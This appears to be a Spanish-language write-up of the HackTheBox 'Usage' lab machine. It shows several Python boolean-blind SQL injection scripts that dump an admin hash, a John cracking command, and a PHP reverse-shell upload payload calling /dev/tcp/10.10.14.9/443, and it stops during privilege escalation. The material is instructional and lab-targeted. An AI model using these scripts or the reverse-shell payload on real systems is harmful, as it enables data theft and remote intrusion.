> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md).

# Guía de HackTheBox Usage

Guía de la máquina HackTheBox Usage Fácil Linux que cubre enumeración de subdominios, SQLI - inyección ciega basada en booleanos (MANUAL) + consejos de BurpSuite, scripting en Python para explotar SQLI, cracking de hashes,

{% embed url="<https://app.hackthebox.com/machines/597>" %}

{% hint style="warning" %}
Habilidades:

* Enumeración de subdominios
* SQLI - Inyección ciega basada en booleanos (MANUAL) + Consejos de Burp Suite
* Scripting en Python para explotar SQLI
* Cracking de hashes
* Explotación de Laravel-admin (RCE abusando de la carga de archivos)
* Análisis binario (GHIDRA)
* Abuso del privilegio Sudoers + binario personalizado para obtener la clave privada SSH de root (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15b21c0450116e3e0269d78dc5df968bd2c0246d%2Fimage%20(1134).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5d367809a029cbb14a854d7c3055add6113ce93%2Fimage%20(1135).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -vvv -Pn --min-rate 5000 10.10.11.18 -oG allPorts
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a27e4986b68ae59a0ab8255cfd0d36d6ce28c9f9%2F%7BD21E61C5-F575-4833-8519-56ADE5732D9A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (21,22,80)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-890bf92cb3870eb06b529cf1e74e1fac947df8ab%2F%7BAF5F5CA2-EFBC-4F7E-A43F-98F59F4A2246%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.18 -oN targeted
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-406f50f398811c1e7aedd3506542c4395f547e67%2F%7B0205AB49-C643-4D67-99F8-4935FDF6BA35%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

### Puerto 80:

En el puerto 80, crearemos una cuenta de usuario con un correo ficticio "`test@test.com`" en la sección de registro.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e0712de8f3c6c9fc39cbfb05d73fc6726d7232c%2F%7BB0B7A0B7-F05B-4487-A90F-D1E9B6E553CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad [SQLI](/es/web/sql-injection.md):

Descubrimos un panel de restablecimiento de contraseña vulnerable a inyección SQL

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b53c33525c6d3d9a8bd94be4bab7925b3a9cd30d%2F%7B26044F45-FC1F-48DD-8002-77C0FB269074%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

. Al interceptar las solicitudes con Burp Suite, obtenemos el mensaje "*Hemos enviado tu contraseña por correo electrónico*".

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3177094706bec286c9aba357b48ef1da55956fc7%2Fimage%20(1136).png?alt=media" alt=""><figcaption></figcaption></figure>

Cuando intentamos una inyección SQL básica, tiene éxito y volvemos a recibir el mismo mensaje de error, confirmando que la inyección funciona. La prueba básica de inyección es:

`iojfeifif' or 1=1-- -`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a340e1c72e0e66ba6f618de26df0a5e25843973%2F%7B4391472C-0C07-42D1-B767-8A1511387D49%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Respuestas condicionales de SQLi:

> Aunque los resultados de la consulta SQL no se devuelven y no aparecen mensajes de error, la aplicación muestra el mensaje "Hemos enviado tu contraseña por correo electrónico" en la página si la consulta devuelve alguna fila.

Comprobamos esta suposición ejecutando una inyección condicional usando la `substring` función para extraer las primeras letras del nombre de la base de datos.

Ejemplos de inyección:

* Prueba la primera letra del nombre de la base de datos\:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Prueba la segunda letra del nombre de la base de datos\:/ `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b266008d7400500d063c1836e082ac5d316ce1c5%2Fimage%20(1137).png?alt=media" alt=""><figcaption></figcaption></figure>

### Enumeración del nombre de la base de datos:

Automatizamos el proceso de descubrimiento del nombre de la base de datos usando un script de Python que envía consultas con cargas útiles específicas y recupera los resultados cuando el servidor muestra la respuesta "Hemos enviado tu contraseña por correo electrónico".

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Manejar señales de salida
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

# Ctrl + C para salir
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres ampliado (añade más caracteres especiales según sea necesario)
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)

    p2 = log.progress("Datos extraídos")

    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            
            # Enviar la solicitud POST con la carga útil
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostrar en tiempo real el carácter que se está probando actualmente
            p1.status(f"Probando posición {position}: {character}")

            # Comprobar la respuesta específica del servidor para confirmar el carácter correcto
            if "Hemos enviado tu contraseña por correo electrónico" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si se encontró un carácter para esta posición, pasar a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: carácter no encontrado")

    p1.success("La inyección SQL por fuerza bruta ha concluido")
    p2.success(f"Datos extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b6ca818cd5433035797610c91e599561dd966de%2Fimage%20(1138).png?alt=media" alt="" width="440"><figcaption></figcaption></figure>

### Enumeración de bases de datos:

Modificamos la carga útil para listar todas las bases de datos presentes en el servidor. Usamos la `group_concat` función de la `information_schema.schemata` base de datos para recuperar todas las bases de datos disponibles. Este paso permite descubrir todas las bases de datos presentes.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Manejar señales de salida
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

# Ctrl + C para salir
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres ampliado (añade más caracteres especiales según sea necesario)
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)

    p2 = log.progress("Datos extraídos")

    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

            }
            
            # Enviar la solicitud POST con la carga útil
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostrar en tiempo real el carácter que se está probando actualmente
            p1.status(f"Probando posición {position}: {character}")

            # Comprobar la respuesta específica del servidor para confirmar el carácter correcto
            if "Hemos enviado tu contraseña por correo electrónico" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si se encontró un carácter para esta posición, pasar a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: carácter no encontrado")

    p1.success("La inyección SQL por fuerza bruta ha concluido")
    p2.success(f"Datos extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2db74325ff348b02756fbb13a1560f9acbdb994%2F%7B0924BE89-8289-43C8-B1E6-365D9CEB6985%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Lista de tablas en la `usage_blog` base de datos:

Después de encontrar la `usage_blog` base de datos, volvemos a modificar la carga útil para enumerar las tablas de esa base de datos. Usamos la `group_concat` función para recuperar los nombres de todas las tablas en la `usage_blog` base de datos.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Manejar señales de salida
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

# Ctrl + C para salir
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres ampliado (añade más caracteres especiales según sea necesario)
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)

    p2 = log.progress("Datos extraídos")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character) 

            }
            
            # Enviar la solicitud POST con la carga útil
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostrar en tiempo real el carácter que se está probando actualmente
            p1.status(f"Probando posición {position}: {character}")

            # Comprobar la respuesta específica del servidor para confirmar el carácter correcto
            if "Hemos enviado tu contraseña por correo electrónico" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si se encontró un carácter para esta posición, pasar a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: carácter no encontrado")

    p1.success("La inyección SQL por fuerza bruta ha concluido")
    p2.success(f"Datos extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b46a64c7b718776df73e9983c1a7a958afa04182%2Fimage%20(1139).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Enumeración de las columnas de la `admin_users` tabla:

Una vez identificadas las tablas, nos centramos en la `admin_users` tabla para enumerar sus columnas. Usamos la `group_concat` función de nuevo para recuperar los nombres de las columnas de esta tabla específica.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Manejar señales de salida
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

# Ctrl + C para salir
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres ampliado (añade más caracteres especiales según sea necesario)
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)

    p2 = log.progress("Datos extraídos")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character) 

            }
            
            # Enviar la solicitud POST con la carga útil
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostrar en tiempo real el carácter que se está probando actualmente
            p1.status(f"Probando posición {position}: {character}")

            # Comprobar la respuesta específica del servidor para confirmar el carácter correcto
            if "Hemos enviado tu contraseña por correo electrónico" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si se encontró un carácter para esta posición, pasar a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: carácter no encontrado")

    p1.success("La inyección SQL por fuerza bruta ha concluido")
    p2.success(f"Datos extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6acac067804c8bbf592d3eeb554149f0c5cd3dca%2F%7BD9220E36-AABF-4AC0-9878-A581F4B69EED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Mostrando `nombre de usuario` y `contraseña`:

Para mostrar los IDs de usuario y las contraseñas en la `admin_users` tabla, la consulta SQL se modificará para concatenar los `nombre de usuario` y `contraseña` campos

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Manejar señales de salida
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

# Ctrl + C para salir
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres ampliado (añade más caracteres especiales según sea necesario)
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)

    p2 = log.progress("Datos extraídos")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

            }
            
            # Enviar la solicitud POST con la carga útil
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostrar en tiempo real el carácter que se está probando actualmente
            p1.status(f"Probando posición {position}: {character}")

            # Comprobar la respuesta específica del servidor para confirmar el carácter correcto
            if "Hemos enviado tu contraseña por correo electrónico" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si se encontró un carácter para esta posición, pasar a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: carácter no encontrado")

    p1.success("La inyección SQL por fuerza bruta ha concluido")
    p2.success(f"Datos extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9939cc0c88478d003f71c003e8c56c78c274f6b2%2F%7B8CE976F0-7703-4875-8A74-A1BDB5EB3AEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Cracking de contraseñas con John:

Una vez recuperado el hash de la contraseña, puedes usar **John** para descifrarlo con un diccionario como **rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:whatever1`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7e86fd66b218596058217bcfab80e3b68dbe182%2Fimage%20(1140).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Panel de administrador:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be96acbb0454d8463671781f3aff1bd83c78a989%2F%7B3EE46AEE-53ED-4C4E-8C0B-2B9B26762027%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Una vez encontradas las credenciales, es posible conectarse al panel de administrador modificando el `/etc/hosts` archivo para añadir la `admin.usage.htb` entrada.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c61b188da2b136077a2f374a710fc676ddec8bcd%2F%7B89C865F0-B2DF-4986-B392-D99CEAB9DF7A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de carga de archivos (Laravel-admin)

En la aplicación Laravel-admin, una sección permite subir un avatar. Aprovechando esta función, podemos enviar un archivo malicioso para obtener acceso no autorizado al servidor.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d42a8da4e99e20f192f6c80a01e8aa491ca1b1ba%2Fimage%20(1110).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Pasos de operación:**

1. **Intercepción y modificación del archivo del avatar**:
   * Intercepta la solicitud con Burp Suite.
   * Cambia el valor de la `filename` variable para añadir la extensión PHP después de un archivo de imagen falso, por ejemplo: `hack.jpg.php`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-453809b98f33be8a8611ab63b1667393f6df50d8%2Fimage%20(1115).png?alt=media" alt=""><figcaption></figcaption></figure>

* El contenido del archivo debe ser una reverse shell, como:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d2a43d8774f237ae69e5eded925060fddcc7aba%2Fimage%20(1114).png?alt=media" alt=""><figcaption></figcaption></figure>

**Escucha con Netcat**:

* Comienza a escuchar en el puerto 443 con Netcat:

```bash
nc -nlvp 443 
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f70ebe6c8a42e241ed7ab3a9e52c595ef5c63357%2Fimage%20(1116).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Ejecuta los siguientes comandos para hacer que la sesión de shell sea más interactiva:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Bandera user.txt :)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d72ebb3c4cb66f4c704a7fd724dffa6786213602%2Fimage%20(1117).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios:

### Filtración de información

En el directorio del usuario `dash`, un archivo `.monitrc` es accesible y contiene información sensible

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70026945372145d7ad057e6bc5adfca46eeb302a%2Fimage%20(1118).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`admin:3nc0d3d_pa$$w0rd`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68d85d8ca43d518a9d035a8b2f4d64aa40372104%2Fimage%20(1119).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Esta contraseña corresponde al usuario `XANDER`.

